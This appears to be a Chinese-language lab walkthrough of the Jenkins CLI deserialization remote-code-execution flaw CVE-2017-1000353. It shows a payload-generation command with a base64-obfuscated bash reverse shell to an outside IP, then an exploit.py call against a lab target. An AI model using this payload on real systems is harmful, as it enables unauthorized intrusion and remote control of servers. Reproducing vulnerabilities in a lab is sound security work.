Jenkins-CLI 远程代码执行漏洞(CVE-2017-1000353)
概述
Jenkins 是一个开源的 持续集成和持续交付(CI/CD) 工具,用于自动化软件开发过程中的构建、测试、部署等任务。它通过插件化的架构支持广泛的功能扩展,是 DevOps 实践中的核心工具之一。
Jenkins 2.56 及更早版本以及 2.46.1 LTS 及更早版本存在未经身份验证的远程代码执行漏洞。该未授权的远程代码执行漏洞允许攻击者将序列化的 Java SignedObject
对象传输到 Jenkins CLI,该对象将使用 ObjectInputStream
进行反序列化,从而绕过现有的基于黑名单的保护机制。
漏洞复现
开启靶场后,访问:http://192.168.2.243:8081/,可以发现网站已经正常运行了。
使用 工具 生成反弹 Shell Payload。
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNzIuNTkuMTA2LzE1MDAwIDA+JjE=}|{base64,-d}|{bash,-i}"
随后使用 工具 发送 Payload。
python exploit.py http://192.168.2.243:8081/ jenkins_poc.ser
成功获取到Shell。